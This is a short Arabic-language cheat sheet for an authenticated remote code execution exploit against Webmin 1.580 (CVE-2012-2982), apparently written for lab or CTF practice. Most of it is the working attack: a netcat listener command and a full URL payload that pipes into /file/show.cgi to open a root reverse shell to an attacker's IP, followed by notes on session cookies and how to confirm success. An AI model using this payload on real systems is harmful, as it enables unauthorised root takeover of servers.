
استغلال يدوي لتنفيذ الأكواد عن بُعد (RCE) بمصادقة، وغير معتمد على Metasploit، عبر شريط عنوان المتصفح لـ Webmin 1.580 (CVE-2012-2982)
مرجع سريع لتنفيذ الأوامر عن بُعد (RCE) بعد المصادقة على Webmin 1.580 عبر مكوّن /file/show.cgi.
شغّل هذا الأمر على جهازك المحلي لالتقاط الاتصال الوارد قبل تنفيذ الحمولة:
rlwrap nc -lnvp 4444
http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_ATTACK_IP> 4444 >/tmp/f|
ملاحظة: تذكّر استبدال <YOUR_ATTACK_IP> بعنوان IP المحلي الفعلي أو عنوان النفق (tunnel) الخاص بك، وأيضًا عنوان IP ومنفذ الهدف.

الثغرة: تعقيم غير كافٍ لمعلومات المسار المضمّنة التي تُمرَّر إلى دالة open() الداخلية في Perl داخل /file/show.cgi. إلحاق علامة الأنبوب (|) يتيح تنفيذ أوامر عشوائية بصلاحيات الجذر (root).
المصادقة: يتطلب هذا جلسة نشطة. يتولى المتصفح المصادقة تلقائيًا بإرسال ملفات تعريف الارتباط (cookies) الخاصة بالجلسة النشطة عند إرسال حمولة URL.
السلوك المتوقع: بعد الضغط على Enter، ستظل علامة تبويب المتصفح تدور وتبدو وكأنها معلّقة إلى أجل غير مسمى. يؤكد هذا نجاح اختطاف خيط الخادم للحفاظ على جلسة الصدفة التفاعلية.